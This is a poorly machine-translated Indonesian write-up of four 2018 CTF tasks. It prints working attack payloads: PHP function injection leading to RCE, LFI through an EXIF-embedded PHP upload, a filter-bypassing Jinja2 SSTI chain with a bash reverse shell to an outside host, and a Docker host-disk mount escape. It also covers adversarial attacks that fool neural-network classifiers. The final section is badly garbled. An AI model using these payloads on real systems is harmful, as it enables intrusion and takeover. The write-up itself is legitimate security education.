Seperti yang dijanjikan, kami memposting bagian kedua dari keputusan retas tahunan. Hari 4-7: ketegangan meningkat, dan tugas lebih menarik!

Konten:

Hari4. Imagehub
Tugas ini disiapkan oleh
SPbCTF .
Kreasi baru kami akan membunuh Instagram. Kami akan meyakinkan Anda hanya dengan dua kata:
1. Filter. Filter baru yang belum pernah dilihat sebelumnya untuk gambar yang Anda unggah.
2. Caching. Server HTTP kustom memastikan file gambar mendarat di cache browser.
Coba sekarang juga! imagehub.spb.ctf.su
Jalankan / get_the_flag untuk menang.
Biner server khusus: dppthPetunjuk10/25/2018 20:00
Tugas tidak terpecahkan. 24 jam ditambahkan.
10/25/2018 17:00
Ada dua bug yang kita ketahui. Yang pertama memberi Anda sumber aplikasi web, yang kedua memberi Anda RCE.Ikhtisar:
Dapat dieksekusi:
- ELF x86_64
- Menerapkan server http sederhana
- Jika file yang diminta memiliki bit yang dapat dieksekusi, kemudian diteruskan ke php-fpm
- Kode mengimplementasikan caching etag kustom
Komponen web:
- Memiliki fungsi unggah file. Gambar dapat dimodifikasi menggunakan filter standar.
- Halaman Admin dengan Dasar pada /? Admin = tampilkan
Kerentanan: Membaca kode sumber
Fungsionalitas cache sepertinya menarik, karena kita bisa mendapatkan server untuk meng-hash rentang file yang acak (bahkan rentang 1 byte).
Etag = sprintf("%08x%08x%08x", file_mtime, hash, file_size);
Hash_fungsi: def etag_hash(data): v16 = [0 for _ in range(16)] v16[0] = 0 v16[1] = 0x1DB71064 v16[2] = 0x3B6E20C8 v16[3] = 0x26D930AC v16[4] = 0x76DC4190 v16[5] = 0x6B6B51F4 v16[6] = 0x4DB26158 v16[7] = 0x5005713C v16[8] = 0xEDB88320 v16[9] = 0xF00F9344 v16[10] = 0xD6D6A3E8 v16[11] = 0xCB61B38C v16[12] = 0x9B64C2B0 v16[13] = 0x86D3D2D4 v16[14] = 0xA00AE278 v16[15] = 0xBDBDF21C hash = 0xffffffff for i in range(len(data)): v5 = ((hash >> 4) ^ v16[(hash ^ data[i]) & 0xF]) & 0xffffffff hash = ((v5 >> 4) ^ v16[v5 & 0xF ^ (data[i] >> 4)]) & 0xffffffff return (~hash) & 0xffffffff
Sayangnya etag dilucuti untuk file yang dapat dieksekusi (* .php):
stat_0(v2, &stat_buf); if ( stat_buf.st_mode & S_IEXEC ) { setHeader(a2->respo, "cache-control", "no-store"); deleteHeade(a2->respo, "etag"); set_environment_info(a1); dup2(fd, 0); snprintf(s, 4096, "/usr/bin/php-cgi %s", a1->url);
Masih ada pemeriksaan sebelum eksekusi halaman, jadi jika kita menebak dengan benar nilai etag (
jika-tidak ada yang cocok ), maka server akan memberikan respons status
304 Tidak Diubah . Dengan menggunakan ini kita dapat bruteforce kode sumber byte demi byte.
v11 = getHeader(&s.request, "if-modified-since"); if ( v11 ) { v3 = getHeader(&v14, "last-modified"); if ( !strcmp(v11, v3) ) send_status(304); } v12 = getHeader(&s.request, "if-none-match"); if ( v12 ) { v4 = getHeader(&v14, "etag"); if ( !strcmp(v12, v4) ) send_status(304); } exec_and_prepare_response_body(&s, &a2a);
Mari kita simpulkan apa yang kita dapatkan dari RE:
- Stempel waktu mudah dibaca dari header respons yang dimodifikasi terakhir (string -> stempel waktu).
- Rentang memungkinkan panjang satu byte (jadi kami akan mendapatkan hash hanya satu byte)
- Hash dapat ditebak untuk rentang 1 byte (256 nilai yang mungkin)
- Ukurannya bruteforceable, tetapi kita perlu tahu setidaknya satu byte dari file target.
- Karena kami ingin mendapatkan sumber untuk file * .php, asumsi yang bagus, bahwa file tersebut dimulai dengan "<? Php".
Langkah pertama akan mendapatkan ukuran, dan yang kedua adalah mendapatkan konten file yang sebenarnya.
Dengan kode multi-ulir, saya mencapai kecepatan ~ 1 karakter / detik, dan membuang beberapa file:
unggah.php <?php require "includes/uploaderror.php"; require "includes/verify.php"; require "includes/filters.php"; class ImageUploader { const TARGET_DIR = "51a8ae2cab09c6b728919fe09af57ded/"; public function upload() { $result = verify_parameters(); if ($result !== true) { return $result; } $target_file = ImageUploader::TARGET_DIR . basename($_FILES["imageFile"]["name"]); $size = intval($_POST['size']); if (!move_uploaded_file($_FILES["imageFile"]["tmp_name"], $target_file)) { return UploadError::MOVE_ERROR; } $text = $_POST['text']; $filterImage = $_POST['filter']($size, $text); $imagick = new \Imagick(realpath($target_file)); $imagick->scaleimage($size, $size); $imagick->setImageOpacity(0.5); $imagick->compositeImage($filterImage, imagick::CHANNEL_ALPHA, 0, 0); header("Content-Type: image/jpeg"); echo $imagick->getImageBlob(); return true; } }
termasuk / filter.php <?php function make_text($image, $size, $text) { $draw = new ImagickDraw(); $draw->setFillColor('white'); $draw->setFontSize( 18 ); $image->annotateImage($draw, $size / 2 - 65, $size - 20, 0, $text); return $image; } function futut($size, $text) { $image = new Imagick(); $pixel = new ImagickPixel( 'rgba(127,127,127,127)' ); $image->newImage($size, $size, $pixel); $image = make_text($image, $size, $text); $image->setImageFormat('png'); return $image; } function incasinato($size, $text) { $image = new Imagick(); $pixel = new ImagickPixel( 'rgba(130,100,255,3)' ); $image->newImage($size, $size, $pixel); $image = make_text($image, $size, $text); $image->setImageFormat('png'); return $image; } function fertocht($size, $text) { $image = new Imagick(); $s = $size % 255; $pixel = new ImagickPixel( "rgba($s,$s,$s,127)" ); $image->newImage($size, $size, $pixel); $image = make_text($image, $size, $text); $image->setImageFormat('png'); return $image; } function jebeno($size, $text) { $image = new Imagick(); $pixel = new ImagickPixel( 'rgba(0,255,255,255)' ); $image->newImage($size, $size, $pixel); $iterator = $image->getPixelIterator(); $i = 0; foreach ($iterator as $row=>$pixels) { $i++; $j=0; foreach ( $pixels as $col=>$pixel ) { $j++; $color = $pixel->getColor(); $alpha = $pixel->getColor(true); $r = ($color['r']+$i*10) % 255; $g = ($color['g']-$j) % 255; $b = ($color['b']-($size-$j)) % 255; $a = ($alpha['a']) % 255; $pixel->setColor("rgba($r,$g,$b,$a)"); } $iterator->syncIterator(); } $image = make_text($image, $size, $text); $image->setImageFormat('png'); return $image; } function kuthamanga($size, $text) { $image = new Imagick(); $pixel = new ImagickPixel( 'rgba(127,127,127,127)' ); $image->newImage($size, $size, $pixel); $iterator = $image->getPixelIterator(); $i = 0; foreach ($iterator as $row=>$pixels) { $i++; $j=0; foreach ( $pixels as $col=>$pixel ) { $j++; $color = $pixel->getColor(); $alpha = $pixel->getColor(true); $r = ($color['r']+$i) % 255; $g = ($color['g']-$j) % 255; $b = ($color['b']-$i) % 255; $a = ($alpha['a']+$j) % 255; $pixel->setColor("rgba($r,$g,$b,$a)"); } $iterator->syncIterator(); } $image = make_text($image, $size, $text); $image->setImageFormat('png'); return $image; }
termasuk / uploaderror.php <?php class UploadError { const POST_SUBMIT = 0; const IMAGE_NOT_FOUND = 1; const NOT_IMAGE = 2; const FILE_EXISTS = 3; const BIG_SIZE = 4; const INCORRECT_EXTENSION = 5; const INCORRECT_MIMETYPE = 6; const INVALID_PARAMS = 7; const INCORRECT_SIZE = 8; const MOVE_ERROR = 9; }
termasuk / verifikasi.php <?php function verify_parameters() { if (!isset($_POST['submit'])) { return UploadError::POST_SUBMIT; } if (!isset($_FILES['imageFile'])) { return UploadError::IMAGE_NOT_FOUND; } $target_file = ImageUploader::TARGET_DIR . basename($_FILES["imageFile"]["name"]); $imageFileType = strtolower(pathinfo($_FILES["imageFile"]["name"], PATHINFO_EXTENSION)); $imageFileInfo = getimagesize($_FILES["imageFile"]["tmp_name"]); if($imageFileInfo === false) { return UploadError::NOT_IMAGE; } if ($_FILES["imageFile"]["size"] > 1024*32) { return UploadError::BIG_SIZE; } if (!in_array($imageFileType, ['jpg'])) { return UploadError::INCORRECT_EXTENSION; } $imageMimeType = $imageFileInfo['mime']; if ($imageMimeType !== 'image/jpeg') { return UploadError::INCORRECT_MIMETYPE; } if (file_exists($target_file)) { return UploadError::FILE_EXISTS; } if (!isset($_POST['filter']) || !isset($_POST['size']) || !isset($_POST['text'])) { return UploadError::INVALID_PARAMS; } $size = intval($_POST['size']); if (($size <= 0) || ($size > 512)) { return UploadError::INCORRECT_SIZE; } return true; }
Ini memberi kita:
- Nama pengguna / kata sandi untuk Admin Basic. Sama sekali tidak berguna, itu hanya mencetak string:
Selamat. Sekarang Anda dapat membaca sumber. Pergi lebih dalam. - Fungsi Injeksi (FI) pada input ' filter '.
- Validasi unggahan gambar sekarang jelas bagi kami.
- Pustaka ImageMagic digunakan. Dengan asumsi bahwa itu digunakan untuk mengeksploitasi adalah deadend. Saya tidak berpikir ada cara untuk mengeksploitasinya tanpa mengandalkan FI.
Kerentanan: Injeksi Fungsi
File
upload.php memiliki beberapa kode yang mencurigakan:
$filterImage = $_POST['filter']($size, $text);
Kami dapat menyederhanakannya untuk:
$filterImage = $_GET['filter'](intval($_GET['size']), $_GET['text']);
Anda sebenarnya dapat mendeteksi kerentanan ini hanya dengan melakukan sedikit fuzzing. Mengirim nama fungsi seperti "
var_dump " atau "
debug_zval_dump " di input '
filter ' akan menghasilkan respons menarik dari server.
int(51) string(10) "jsdksjdksds"</code> So, its not hard to guess how server side code looks like. If we had an write permission to www root, than we could just use two functions: <code>file_put_contents(0, "<?php system($_GET[a]);") chmod(0, 777)
Tetapi ini bukan kasus kami. Setidaknya ada dua cara untuk menyelesaikan tugas.
filter_input_array vektor (solusi yang tidak diinginkan): vektor RCE
Sambil memikirkan cara-cara yang mungkin untuk mendapatkan RCE, saya perhatikan bahwa
function filter_input_array
memberi kita kendali yang cukup baik atas
$filterImage variable
.
Lulus
filter array sebagai argumen kedua, akan memungkinkan untuk membangun array sewenang-wenang pada hasil fungsi.
Tapi ImageMagic tidak berharap mendapatkan apa pun selain kelas Imagick. :(
Mungkin kita dapat membatalkan kelas dari input? Mari kita cari argumen filter tambahan di
deskripsi filter_input_array .
Itu tidak disebutkan di halaman fungsi itu sendiri, tetapi kita benar-benar dapat melewati
panggilan balik untuk validasi input . Contoh FILTER_CALLBACK adalah untuk
filter_input
, tetapi juga berfungsi untuk
filter_input_array
!
Ini berarti bahwa kami dapat "memvalidasi" input pengguna khusus menggunakan fungsi dengan satu argumen (eval? System?), Dan kami memiliki kendali atas argumen tersebut.
FILTER_CALLBACK = 1024
Contoh untuk mendapatkan RCE:
GET: a=/get_the_flag POST: filter=filter_input_array size=1 text[a][filter]=1024 text[a][options]=system submit=1
Tanggapan:
*** Wooooohooo! *** Congratulations! Your flag is: 1m_t3h_R34L_binaeb_g1mme_my_71ck37 -- SPbCTF (vk.com/spbctf)
Baris yang
dicari :
1m_t3h_R34L_binaeb_g1mme_my_71ck37Pasti ada yang salah, karena mengapa kita perlu mendapatkan kode sumber? Hanya untuk sebuah petunjuk? Mengapa file yang diunggah disimpan dalam disk, bukankah lebih mudah untuk tidak menyimpan file sampah dari pengguna tantangan?
Kebetulan dalam penamaan
filter =
filter _input_array, teks [a] [
filter ] memberi saya keyakinan bahwa semuanya dilakukan seperti yang diharapkan ("
filter yang belum pernah dilihat", centang ✓).
vektor spl_autoload: vektor LFI
Setelah mengirimkan solusi saya dihubungi oleh salah satu penulis tantangan, yang mengatakan bahwa vektor saya tidak dimaksudkan dan fungsi lain dapat digunakan (
spl_autoload
):
Tidak jelas bagaimana kita dapat menggunakan fungsi ini karena seperti yang seharusnya memuat kelas "<class_name>" dari file bernama "<class_name> <some_extension>". Tanda tangan adalah sebagai berikut:
void spl_autoload ( string $class_name [, string $file_extensions = spl_autoload_extensions() ] )
Argumen pertama kami hanya bisa berupa angka (1-512), jadi
nama kelasnya adalah ... nomor? ... aneh.
Argumen
ekstensi juga terlihat tidak dapat digunakan, file terkontrol satu tingkat lebih dalam dari
unggahan.php (kita perlu memberikan awalan).
Fungsi ini sebenarnya dapat memberi kita LFI jika digunakan dengan cara ini:
spl_autoload(51, "a8ae2cab09c6b728919fe09af57ded/1.jpg") = include("51a8ae2cab09c6b728919fe09af57ded/1.jpg")
Nama direktori diperoleh dari kode sumber yang bocor. Dan kami beruntung, karena jika karakter pertama dari nama selain angka -> kami tidak dapat memasukkan file dari sana.
Jadi ... yang kita butuhkan sekarang adalah meloloskan "kind-of-valid" (
getimagesize harus menerimanya)
* .jpg file dengan kode php ditingkatkan. Contoh sederhana (payload php dalam exif) terlampir.
Unggah sebagai
1111.jpg , dan lakukan:
DAPATKAN:
a = / get_the_flag
POST:
filter = spl_autoload
ukuran = 51
text = a8ae2cab09c6b728919fe09af57ded / 1111.jpg
kirim = 1
Tanggapan:
... .JFIF ... Exif MM * . " (. . .i . . D . D .. V ..
*** Wooooohooo! ***
Congratulations! Your flag is:
1m_t3h_R34L_binaeb_g1mme_my_71ck37
-- SPbCTF (vk.com/spbctf)
Baris yang
dicari :
1m_t3h_R34L_binaeb_g1mme_my_71ck37Pengunggahan dan LFI dapat dilakukan dalam satu permintaan.

Day5. Waktu
Tugas ini disiapkan oleh
tim Keamanan DigitalHal pertama yang Anda butuhkan adalah menaklukkan waktu, yang kedua adalah melampaui dunia kecil. Setelah itu Anda akan mendapatkan senjata melawan bos tingkat akhir. Semoga beruntung
51.15.75.80
Petunjuk10/27/2018 16:00
Oh, berapa banyak perangkat pada kotak ... apakah mereka benar-benar bermanfaat?
10/27/2018 14:35
Jika Anda dapat mengatasi filter pada timepanel, maka Anda dapat menggunakan kemampuan seluruh sistem. Jangan malu-malu.
10/27/2018 14:25
Periksa host virtual dan jangan memikirkan 200
10/26/2018 19:25
Tugas tidak terpecahkan. 24 jam ditambahkan.
10/26/2018 17:35
Gunakan semua kemampuan Anda.
10/26/2018 12:25
Anda tidak memerlukan perangkat lunak forensik apa pun untuk menyelesaikan tahapan tugas apa pun.1) Wordpress
Awalnya, kami diberi alamat
51.15.75.80 .
Kami menjalankan hehdirb - kami melihat direktori / wordpress /. Segera buka panel
admin di bawah
admin: admin .
Di panel admin, kami melihat bahwa tidak ada hak istimewa untuk mengubah template, jadi Anda tidak bisa mendapatkan RCE saja. Namun, ada pos tersembunyi:
09/25/2018 OLEH ADMINISTRATOR
Pribadi: Catatan tentang panel waktu
login: cristopher
kata sandi: L2tAPJReLbNSn085lTvRNj
host: timepanel.zn2) SSTI
Jelas, Anda harus pergi ke server yang sama dengan menentukan
timepanel.zn host virtual
.Kita mulai hehdirb pada host ini - kita melihat direktori / adm_auth, kita masuk di bawah login dan kata sandi yang diberikan di atas. Kami melihat formulir di mana Anda harus memasukkan tanggal ("dari" dan "ke") untuk mendapatkan beberapa informasi. Pada saat yang sama, kami melihat komentar di kode HTML respons tempat tanggal yang sama tercermin:
<!- start time: 2018-10-25 20:00:00, finish time:2018-10-26 20:00:00 ->
Jelas, bug di sini kemungkinan besar harus terkait dengan refleksi ini, dan itu tidak mungkin XSS, jadi coba SSTI:
start=2018-10-25+20%3A00%3A00{{ 1 * 0 }}&finish=2018-10-26+20%3A00%3A00
Jawabannya adalah:
<!- start time: 2018-10-25 20:00:000, finish time:2018-10-26 20:00:00 ->
Dengan mengirimkan {{self}}, {{'a' * 5}}, kami menyadari bahwa ini adalah
Jinja2 , tetapi vektor standar tidak berfungsi. Mengirim vektor tanpa {{tanda kurung}}, kita melihat bahwa jawabannya tidak mencerminkan karakter "_" dan beberapa kata, misalnya, "kelas". Filter ini dapat dengan mudah dilewati menggunakan request.args dan konstruk | attr (), serta menyandikan beberapa byte dengan urutan escape.
Permintaan terakhir untuk koneksi kembaliPOST /adm_main?sc=from+subprocess+import+check_output%0aRUNCMD+%3d+check_output&cmd=bash+-c+'bash+-i+>/dev/tcp/deteact.com/8000+<%261' HTTP/1.1
Host: timepanel.zn
Content-Type: application/x-www-form-urlencoded
Content-Length: 616
Cookie: session=eyJsb2dnZWRfaW4iOnRydWV9.DrOOLQ.ROX16sOUD_7v5Ct-dV5lywHj0YM
start={{ ''|attr('\x5f\x5fcl\x61ss\x5f\x5f')|attr('\x5f\x5f\x6dro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(2)|attr('\x5f\x5fsubcl\x61sses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(40)('/var/tmp/BECHED.cfg','w')|attr('write')(request.args.sc) }}
{{ ''|attr('\x5f\x5fcl\x61ss\x5f\x5f')|attr('\x5f\x5f\x6dro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(2)|attr('\x5f\x5fsubcl\x61sses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(40)('/var/tmp/BECHED.cfg')|attr('read')() }}
{{ config|attr('from\x5fpyfile')('/var/tmp/BECHED.cfg') }}
{{ config['RUNCMD'](request.args.cmd,shell=True) }}
&finish=2018-10-26+20%3A00%3A00
3) LPE
Setelah menerima RCE, kami memahami bahwa Anda perlu meningkatkan hak akses ke root. Ada beberapa jalur yang salah (/ usr / bin / special, /opt/privesc.py dan beberapa lainnya) yang tidak ingin saya uraikan, karena hanya membutuhkan waktu. Ada juga binar / usr / bin / nol, yang tidak memiliki bit-suid, tetapi ternyata ia dapat membaca file apa pun (cukup kirimkan jalur hex-encoded di stdin).
Alasannya adalah kemampuan (/ usr / bin / zero = cap_dac_read_search + ep).
Kami membaca bayangan, mengatur hash yang akan disikat, tetapi sementara itu disikat, kami menduga bahwa kami perlu membaca file pengguna lain yang ada di sistem:
$ echo /home/cristopher/.bash_history | xxd -p | zero
Saya dapat membaca sesuatu untuk Anda
su
Dpyax4TkuEVVsgQNz6GUQX4) Docker escape / Forensics
Jadi, kami memiliki root. Tapi ini bukan akhirnya. Kami
memasang apt install extundelete dan menemukan beberapa file lebih menarik di sistem file yang terkait dengan tahap selanjutnya:
Untuk mendapatkan tiket, Anda perlu mengubah gambar sehingga diidentifikasi sebagai "1". Anda memiliki model dan gambar. curl -X POST -F image=@ZeroSource.bmp 'http://51.15.100.188 {6491 / prediksi'.Jadi, sekarang kita dihadapkan dengan tugas standar menghasilkan contoh kompetitif untuk model pembelajaran mesin. Namun, pada tahap ini saya masih belum bisa mendapatkan semua file yang saya butuhkan. Itu mungkin untuk melakukan ini hanya dengan menempatkan agen R-Studio di server dan mengambil forensik jarak jauh. Setelah hampir mengeluarkan apa yang saya butuhkan, saya menemukan bahwa, pada kenyataannya, wadah buruh pelabuhan berjalan dalam mode yang memungkinkan Anda untuk memasang seluruh disk
Kami membuat mount / dev / vda1 / root / kek dan mendapatkan akses ke sistem file host, dan pada saat yang sama akses root ke seluruh server (karena kita dapat meletakkan kunci ssh kita sendiri). Kami mengeluarkan KerasModel.h5, ZeroSource.bmp.
5) ML permusuhan
Segera jelas dari gambar bahwa jaringan saraf dilatih pada dataset MNIST. Ketika kami mencoba mengirim gambar sewenang-wenang ke server, kami mendapat jawaban bahwa gambarnya terlalu banyak berbeda. Ini berarti bahwa server mengukur jarak antara vektor, karena ia menginginkan contoh permusuhan, dan bukan hanya gambar dengan gambar “1”.
Kami mencoba serangan pertama yang kami dapatkan dari foolbox - kami mendapatkan vektor serangan, tetapi server tidak menerimanya (jaraknya terlalu jauh). Lalu saya pergi ke alam liar, mulai membuat kembali implementasi One Pixel Attack di bawah MNIST, dan tidak ada yang datang darinya, karena serangan ini menggunakan algoritma evolusi diferensial, itu bukan gradien dan mencoba untuk menemukan minimum stokastik, dipandu oleh perubahan dalam vektor probabilitas. Tetapi vektor probabilitas tidak berubah, karena jaringan saraf terlalu percaya diri.
Pada akhirnya, saya harus ingat tentang petunjuk yang ada di file teks asli di server - "(Normilize ^ _ ^)". Setelah normalisasi dengan hati-hati, adalah mungkin untuk melakukan serangan secara efektif menggunakan algoritma optimasi L-BFGS, di bawah ini adalah exploit terakhir:
import foolbox import keras import numpy as np import os from foolbox.attacks import LBFGSAttack from foolbox.criteria import TargetClassProbability from keras.models import load_model from PIL import Image image = Image.open('./ZeroSource.bmp') image = np.asarray(image, dtype=np.float32) / 255 image = np.resize(image, (28, 28, 1)) kmodel = load_model('KerasModel.h5') fmodel = foolbox.models.KerasModel(kmodel, bounds=(0, 1)) adversarial = image[:, :] try: attack = LBFGSAttack(model=fmodel, criterion=TargetClassProbability(1, p=.5)) adversarial = attack(image[:, :], label=0) except: print 'FAIL' quit() print kmodel.predict_proba(adversarial.reshape(1, 28, 28, 1)) adversarial = np.array(adversarial * 255, dtype='uint8') im = Image.open('ZeroSource.bmp') for x in xrange(28): for y in xrange(28): im.putpixel((y, x), int(adversarial[x][y][0])) im.save('ZeroSourcead1.bmp') os.system("curl -X POST -F image=@ZeroSourcead1.bmp 'http://51.15.100.188:36491/predict'")
Baris yang
dicari :
H3y_Y0u'v_g01_4_n1c3_t1cket
Hari6. Vm yang luar biasa
Tugas ini disiapkan oleh tim
KKP Sekolah .
Lihatlah layanan pelatihan baru! zn.sibears.ru:8000
Saat ini kami ingin melibatkan Anda dalam pengujian beta mesin virtual baru yang dibuat khusus untuk menguji kemampuan pemrograman pemula kami. Kami telah menambahkan perlindungan intelektual terhadap kecurangan dan sekarang ingin memeriksa semuanya sebelum menawarkan platfotm. VM memungkinkan Anda untuk menjalankan program sederhana ... atau tidak hanya ?!
goo.gl/iKRTrHPetunjuk10/27/2018 16:20
Mungkin Anda bisa menipu atau mem-bypass sistem AI?Deskripsi:

Layanan ini adalah sistem validasi untuk file dengan ekstensi .cmpld yang diterima oleh penerjemah sibVM. Tugas yang harus diselesaikan oleh program yang dikirim: menghitung jumlah angka yang tercantum dalam file input.txt, agak mengingatkan kita pada kompetisi ACM. Juga, deskripsi antarmuka web menunjukkan bahwa program yang dikirim akan diperiksa menggunakan kecerdasan buatan.
Layanan ini terdiri dari dua wadah Docker:
web-docker dan
prod_inter .
web-docker tidak terlalu menarik untuk dianalisis. Semua yang dia lakukan adalah menerjemahkan file yang dikirim ke wadah prod_inter, di dalamnya semua hal yang paling menarik terjadi. Cuplikan kode yang sesuai disajikan di bawah ini:

Dalam wadah
prod_inter , file yang dikirim diperiksa dan dieksekusi pada data uji. Untuk setiap pengiriman, direktori baru dibuat dalam / tmp / secara acak, di mana file yang dikirim disimpan dengan nama acak. File flag.txt juga ditempatkan di direktori yang dibuat, yang mungkin merupakan tujuan kami.
Kemudian bagian yang menyenangkan dimulai: jika file lebih besar dari 8192 byte, maka file input program diperiksa menggunakan kecerdasan buatan. AI adalah jaringan saraf ultraprecise pra-terlatih. Jika tes berhasil (data input lebih dari 8192 byte, dan jaringan saraf yang menetapkan mereka untuk kelas pertama), program berjalan pada lima tes yang berbeda, dan hasilnya dikirim dalam pesan respon dan ditampilkan kepada pengguna.
Jika ukuran data input kurang dari 8192 byte, atau mereka tidak lulus tes oleh jaringan saraf, maka sebelum pengujian ada pemeriksaan tambahan program untuk keberadaan substring flag.txt di dalamnya dan untuk upaya membuka file dengan nama itu. Akses ke file flag.txt dipantau dengan menjalankan program di kotak pasir
secfilter , berdasarkan pada teknologi
SECCOMP , dan menganalisis log eksekusi. Di bawah ini adalah kode layanan yang sesuai dan contoh log ketika mencoba membuka file terlarang:


Untuk menyelesaikan tugas ini, saya membuat satu set program untuk interpreter sibVM yang membuka file flag.txt dan menampilkan nilai numerik byte ke-1 file tersebut. Setiap program pada saat yang sama berhasil melewati tes AI. Berikutnya adalah analisis permukaan jaringan saraf dan deskripsi mesin virtual.
Analisis jaringan saraf
Model jaringan saraf yang terlatih terkandung dalam file cnn_model.h5. Berikut ini adalah informasi umum tentang arsitektur jaringan.

Kami tidak tahu persis apa yang dikenali jaringan saraf, jadi kami akan mencoba memberi makan berbagai data. Dari arsitektur jaringan jelas bahwa pada input menerima gambar saluran tunggal ukuran 100X100. Untuk menghindari efek penskalaan pada hasil, kami akan menggunakan urutan 10.000 byte yang dikonversi menjadi gambar menggunakan fungsi yang digunakan dalam layanan. Di bawah ini adalah hasil pengoperasian jaringan saraf pada berbagai data:

Berdasarkan hasil, dapat diasumsikan bahwa jaringan saraf akan menerima gambar dengan dominasi warna hitam (nol byte). Kemungkinan besar, menulis sebuah program yang membaca karakter bendera akan membutuhkan kurang dari 1000 byte signifikan (sisanya dapat diisi dengan nol), dan kemudian AI akan menerima program yang dikirim.
Dengan demikian, untuk menyelesaikan tugas, tetap menulis program yang diinginkan.
Penerjemah SibVM
Struktur programLangkah pertama adalah memahami struktur file program. Selama kebalikan dari penerjemah, ternyata program harus dimulai dengan header tertentu dengan beberapa bidang layanan, diikuti oleh seperangkat entitas dengan pengidentifikasi, di antaranya harus ada entitas utama dari tipe Function.
Memproses catatan dan meluncurkan fungsi utama Hasilnya adalah format file input berikut:

Tipe data
Penerjemah mendukung berbagai jenis entitas. Di bawah ini adalah tabel dan pengidentifikasi mereka, yang di masa depan akan diperlukan untuk membangun program.

Membangun program untuk penerjemah
Seperti disebutkan di atas, program harus memiliki entri utama dengan tipe Function (5). Ini memiliki format berikut:

Tidak sulit untuk mengetahui siklus pelaksanaan program utama.
Fungsi
decode_opcode
mengambil informasi tentang operasi selanjutnya dari kode program. Dua byte pertama dari setiap operasi berisi kode operasi, jumlah argumen dan tipenya. Beberapa byte berikutnya (tergantung pada jenis dan jumlah argumen) akan ditafsirkan sebagai argumen untuk operasi.
Format dua byte pertama operasi:

Selanjutnya, kami akan meninjau beberapa instruksi yang akan membantu kami mengekstrak bendera dari sistem.
Command interpreter graph, execute_opcode function - Opcode 0 - membuka file (nama file ditentukan oleh argumen operasi dan bertipe String) dan menempatkan kontennya di atas tumpukan sebagai objek bertipe
ByteArray
. - Opcode 2 - Menampilkan nilai yang disimpan di bagian atas tumpukan. Sayangnya, operasi ini tidak akan menampilkan nilai objek bertipe
ByteArray
. Untuk mengatasi masalah ini, Anda bisa mendapatkan elemen ke-l dari array dan menampilkannya.
- Opcode 13 - mengambil elemen dari array dengan indeks. Array dan indeks elemen muncul dari stack, hasilnya didorong ke stack. Dengan demikian, untuk mengkompilasi program kerja, perlu untuk meletakkan indeks di stack.
- Opcode 7 - mendorong argumen operasi ke stack.
Akibatnya, program ini hanya terdiri dari 4 operasi:


Baris yang
dicari :
flag {76f98c7f11582d73303a4122fd04e48cba5498}
Hari ke 7. Sumberdaya tersembunyi
Tugas ini disiapkan oleh
RuCTF .
Diberikan layanan n24.elf . Cukup otorisasi pada 95.216.185.52 dan beri Anda flag.Petunjuk
10/28/2018 20:00Tugas tidak terpecahkan. 24 jam ditambahkan.Survei server untuk akses menggunakan protokol koneksi standar menunjukkan akses melalui SSH (port 22). File yang disediakan adalah executable ELF (yang secara halus disiratkan oleh ekstensi dalam nama) untuk Linux.
Menggunakan utilitas string menunjukkan keberadaan baris “/ home / lab /.ssh” dan “/ rumah / lab /.ssh/authorized_keys”. Kesimpulan tentang kemungkinan akses ke file kunci otorisasi kata sandi SSH dari file yang dapat dieksekusi ELF (selanjutnya disebut sebagai layanan).
Tabel simbol berisi fungsi yang diperlukan untuk membuka file dan menulis:
Tabel simbol juga berisi fungsi untuk bekerja dengan soket, untuk membuat proses dan untuk menghitung MD5.
Kebalikan dari file tersebut menunjukkan adanya sejumlah besar lompatan (semacam kebingungan). Pada saat yang sama, lompatan dilakukan di antara blok kode, yang secara umum dapat dibagi menjadi beberapa jenis:
- « OF », ( objdump):
95b69b: 48 0f 44 c7 cmove rax,rdi 95b69f: 48 83 e7 01 and rdi,0x1 95b6a3: 4d 31 dc xor r12,r11 95b6a6: 71 05 jno 95b6ad <MD5_Final@@Base+0x2d83f9> 95b6a8: e9 f4 bf e1 ff jmp 7776a1 <MD5_Final@@Base+0xf43ed> 95b6ad: e9 1f 1a de ff jmp 73d0d1 <MD5_Final@@Base+0xb9e1d>
, OF «xor», «and» . - , . . , :
95b401: c7 04 25 2b b4 95 00 mov DWORD PTR ds:0x95b42b,0x34be74 95b408: 74 be 34 00 95b40c: 66 c7 04 25 01 b4 95 mov WORD PTR ds:0x95b401,0x13eb 95b413: 00 eb 13 95b416: 4c 0f 44 da cmove r11,rdx 95b41a: 48 d1 ea shr rdx,1 95b41d: 48 0f 44 ca cmove rcx,rdx 95b421: 49 89 d3 mov r11,rdx 95b424: 48 89 ca mov rdx,rcx 95b427: 4c 89 da mov rdx,r11 95b42a: e9 8d ad e7 00 jmp 17d61bc
- , .
MD5. , . «
MD5_Init », «
MD5_Update » «
MD5_final ».
, API . , , , , . .
ELF . «/home/task/.ssh/» .
. , , , . . Netstat 5432 (UDP).
(4 ) :
.
– gdb. , , recvfrom backtrace. 0x6ae010.
6ae00b: e8 d0 2b d5 ff call 400be0 <recvfrom@plt> 6ae010: e9 64 bc ea ff jmp 559c79 <MD5_Update@@Base+0x953fc> 559c79: 89 45 80 mov DWORD PTR [rbp-0x80],eax 559c7c: 83 f8 ff cmp eax,0xffffffff
0x810758 .
break 0xb01902, .
( rax)(gdb) b *0xb01902
Breakpoint 2 at 0xb01902
(gdb) c
Continuing.
Verifying 74657374
00f82488
Breakpoint 2, 0x0000000000b01902 in MD5_Init ()
(gdb) info reg rax
rax 0x0 0
0 . , , 0.
gdb,
MD5_Update ( «test»).
Hasil (gdb) b MD5_Update Breakpoint 3 at 0x4c487d (2 locations) (gdb) c Continuing. Verifying 74657374 Breakpoint 3, 0x00000000004c487d in MD5_Update () (gdb) info reg rsi rsi 0x7fffffffdd90 140737488346512 (gdb) x/20bx $rsi 0x7fffffffdd90: 0x74 0x65 0x73 0x74 0x0a 0xff 0x7f 0x00 0x7fffffffdd98: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fffffffdda0: 0x00 0x00 0x00 0x00 (gdb) info reg $rdx rdx 0x200 512
Hasil
MD5 , 512 . , , MD5 512 . 8 , 8 , . , - . 4 3 MD5- .
0x810758 0. RAX. 2 0x810758 0x827326.
, 0x810758. gdb :
